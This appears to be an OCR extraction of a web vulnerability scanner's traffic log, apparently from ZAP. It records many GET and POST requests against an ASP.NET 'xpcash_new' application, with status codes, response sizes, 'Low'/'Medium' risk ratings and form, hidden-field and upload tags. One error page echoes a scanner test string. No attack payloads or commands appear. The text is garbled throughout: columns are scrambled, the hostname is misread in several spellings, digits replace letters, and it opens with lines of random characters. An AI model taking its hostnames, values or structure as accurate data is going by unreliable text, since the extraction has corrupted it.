KmSHi33hLbkUB8XHO
abjBOR6foZF8QyqKIV
CRUEs7TgkB37FBRKS
17EKOPtVcvpQMOfZja2
hGQ_ZGa7wNwkOdA
Xgj_sVHgvH_TgycprY

Sat May 26 GjABIFKFT0JX9-
14:38:44 Owo1&t=63526068962
Successfully EEST 2018 GET 0000000 200 OK 31 290 7328 Low
http://win-

h8g2ght5pIm/xpcash_ne
w/WebResource.axd?d=
UOIOKB-cJ-V-
Xk8QkQInH16HITat2
R8ZObHdiHBVShOAcc
U-78Qj-
Vot_Nt83Np7nwROwWM
Sat May 26 PjzKrrAerFaPiMMSqo
14:38:44 KtE1&t=636538125986
Successfully EEST 2018 GET 097151 200 OK 16 307 20794 Low

Form,
Hidden

http://win-

h8g2ght5pIm/xpcash_ne
w/ScriptResource.axd?d
=CgrN8s5YSAWS5F40U
L1claA3jjxPyXQutlifV
dZJvb_1G7DnjvLAf-0-
RPBE5BNSP33fC1058b
q9fBScSREktKDnziuT
HZEtlmengriDuoAAZ5
8Rfplyp-

Sat May 26 CZr00ERUBUDXB5Jm
14:38:44 wsDZ1NdY AenVOxnf
Successfully EEST 2018 GET GHXdFI11&t=553cch59 200 | OK 15 322 21615 | Low

http://win-
h8g2ght5pIm/xpcash_ne
w/Telerik.Web.Ul.Web
Resource.axd?_TSM_C
ombinedScripts_=%3b%
3bSystem.Web.Extensio
ns%2c+Version%3d3.5.
0.0%2c+Culture%3dneu
tral%2c+PublicKeyToke
Nn%3d31bf3856ad364e3
5%3aen-
US%3a25f23ad5-9eec-
4de7-a92d-
14f140ae0b8d%3aea597
d4b%3ab25378d2%3bT
elerik.Web.U1%2c+Vers
i0n%3d2013.3.1324.35
%2c+Culture%3dneutral
%2c+PublicKeyToken%
3d121fae78165ba3d4%3
aen-US%3a84d93921-
96f0-4f42-826e-
aa3f3f71544e%3al6ede
7cd%3a58366029%3af7
645509%3a24eelbba%3
af46195d3%3a2003d0b
8%3a88144a7a%3ale77
1326%3aaa288e2d&_T
Sat May 26 SM_HiddenField_=Rad
14:38:44 ScriptManagerl_TSM&
Successfully EEST 2018 GET compress=1 200 | OK 225 344 | 888667 | Low

Hidden,
Comment

Sat May 26 http://win-
14:38:44 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 200 | OK 121 222 36161 Medium

Form,
Hidden,
Upload,
Script,
Comment

Sat May 26 http://win-
14:38:44 h8g2gbt5pIm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 200 OK 146 222 36107 Medium

Form,
Hidden,
Upload,
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Script,

Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 68 222 36107 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 229 222 35751 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 126 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 36 222 36067 Medium Comment
Sat May 26 http://win-
14:38:45 h8g2ght5pIm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 155 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 47 222 36095 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 33 222 36161 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 35 222 36201 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 37 222 36201 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 96 222 35845 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:45 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 80 222 36253 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:46 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 57 222 36161 Medium Comment
Sat May 26 http://win-
14:38:46 h8g2ght5plim/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 142 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:46 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 29 222 36189 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:46 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 39 222 36161 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:46 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 60 222 36107 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:46 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 44 222 36107 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:46 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 123 222 36159 Medium Comment
Sat May 26 http://win- Form,
14:38:46 h8g2gbt5plm/xpcash_ne Hidden,
Successfully EEST 2018 POST w/default.aspx 200 | OK 141 222 35751 Medium Upload,
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Script,

Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:46 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 194 222 36067 Medium Comment
Sat May 26 http://win-
14:38:46 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 259 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:47 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 56 222 36095 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:47 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 36 222 35817 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:47 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 161 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:47 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 182 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:47 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 65 222 36225 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:47 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 123 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:47 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 140 222 35897 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:47 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 34 222 36171 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:47 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 53 222 36171 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:48 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 35 222 36131 Medium Comment
Sat May 26 http://win-
14:38:48 h8g2ght5plim/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 224 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:48 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 164 222 35746 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:48 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 77 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:48 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 61 222 35719 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:48 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 112 222 36159 Medium Comment
Sat May 26 http://win-
14:38:48 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 | Found 168 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:49 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 24 222 35751 Medium Comment
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Form,

Hidden,
Sat May 26 http://win- Upload,
14:38:49 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 71 222 36161 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:49 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 55 222 36107 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:49 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 36 222 36107 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:49 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 74 222 35751 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:49 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 68 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:49 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 35 222 36067 Medium Comment
Sat May 26 http://win-
14:38:49 h8g2ght5pIm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 170 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:49 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 43 222 36095 Medium Comment
http://win-
h8g2gbt5plm/xpcash_ne
w/errorPage.aspx?msg=
%22Conversion%20fro
m%20string%20%22ZA
Sat May 26 P%22%20t0%20type%2
14:38:49 0'Date'%20is%20n0t%2 Form,
Successfully EEST 2018 GET Ovalid. 200 | OK 40 221 1922 | Medium Hidden
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 36 222 36161 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 36 222 36201 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 52 222 36201 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 146 222 35845 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 114 222 36253 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 42 222 36161 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 34 222 36189 Medium Comment
Sat May 26 http://win-
14:38:50 h8g2gbt5plim/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 112 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 28 222 36225 | Medium Comment
Sat May 26 http://win- Form,
14:38:50 h8g2gbt5plm/xpcash_ne Hidden,
Successfully EEST 2018 POST w/default.aspx 200 OK 34 222 35817 Medium Upload,
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Script,

Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 76 222 36221 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:50 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 68 222 36221 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:51 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 173 222 35844 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:51 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 173 222 36253 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:51 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 32 222 35817 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:51 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 35 222 35845 Medium Comment
Sat May 26 http://win-
14:38:51 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 157 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:51 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 121 222 36221 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:51 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 142 222 35991 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:51 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 31 222 36265 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:51 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 40 222 36265 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:51 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 40 222 36225 | Medium Comment
Sat May 26 http://win-
14:38:52 h8g2ght5plim/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 124 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:52 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 33 222 36253 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:52 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 65 222 35817 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:52 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 151 222 36221 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:53 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 177 222 36221 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:53 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 105 222 35844 Medium Comment
Sat May 26 http://win- Form,
14:38:53 h8g2gbt5plm/xpcash_ne Hidden,
Successfully EEST 2018 POST w/default.aspx 200 | OK 130 222 36253 Medium Upload,
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Script,

Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:53 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 32 222 35817 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:53 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 31 222 35845 | Medium Comment
Sat May 26 http://win-
14:38:53 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 | Found 115 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:53 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 19 222 36193 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:53 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 31 222 36139 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:53 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 50 222 36139 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:53 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 55 222 35751 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 58 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 27 222 36095 Medium Comment
Sat May 26 http://win-
14:38:54 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 | Found 150 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 38 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 28 222 36225 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 120 222 36221 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 104 222 35991 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 34 222 36265 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 36 222 36265 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 44 222 36225 Medium Comment
Sat May 26 http://win-
14:38:54 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 | Found 158 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 88 222 36253 Medium Comment
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Form,

Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 34 222 36225 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 62 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:54 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 162 222 35897 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:55 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 69 222 36171 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:55 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 41 222 36171 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:55 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 49 222 36131 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:55 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 16 222 35963 Medium Comment
Sat May 26 http://win-
14:38:55 h8g2ght5pIm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 58 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:55 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 31 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:55 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 68 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:55 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 37 222 35898 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:55 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 96 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 53 222 35865 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2ght5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 90 222 36159 Medium Comment
Sat May 26 http://win-
14:38:56 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 117 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 35 222 35897 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 32 222 36225 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 94 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 78 222 35897 Medium Comment
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Form,

Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 15 222 36171 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 19 222 36171 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 16 222 36131 Medium Comment
Sat May 26 http://win-
14:38:56 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 120 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 49 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 36 222 35812 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:56 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 71 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:57 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 97 222 35751 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:57 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 93 222 35746 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:57 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 61 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:57 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 78 222 35718 Medium Comment
Sat May 26 http://win-
14:38:57 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 | Found 112 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:57 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 59 222 35746 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 35 222 35817 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 70 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 54 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plim/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 61 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 72 222 35746 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 16 222 35719 Medium Comment
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Sat May 26 http://win-
14:38:58 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 | Found 108 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 30 222 35751 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 74 222 35817 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 57 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 62 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 122 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 122 222 35746 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:58 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 97 222 35719 Medium Comment
Sat May 26 http://win-
14:38:58 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 POST w/default.aspx 302 Found 118 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:59 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 OK 31 222 35751 Medium Comment
Sat May 26 http://win-
14:38:59 h8g2gbt5plm/xpcash_ne
Successfully EEST 2018 GET W/CSS/Styles.css 200 OK 110 246 1069 Low
Sat May 26 http://win-
14:38:59 h8g2ght5pIm/xpcash_ne
Not Text EEST 2018 GET w/error.gif 200 OK 94 247 1037 Low
http://win-
h8g2ght5plim/xpcash_ne
w/errorPage.aspx?msg=
%22Conversion+from+s
Sat May 26 tring+%22Z AP%22+to+
14:38:59 type+'Date'+is+not+vali Form,
Successfully EEST 2018 POST d. 200 | OK 15 221 1922 | Medium Hidden
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:59 h8g2ght5pIm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 31 222 36193 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:59 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 26 222 36233 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:59 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 POST w/default.aspx 200 | OK 16 222 36233 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
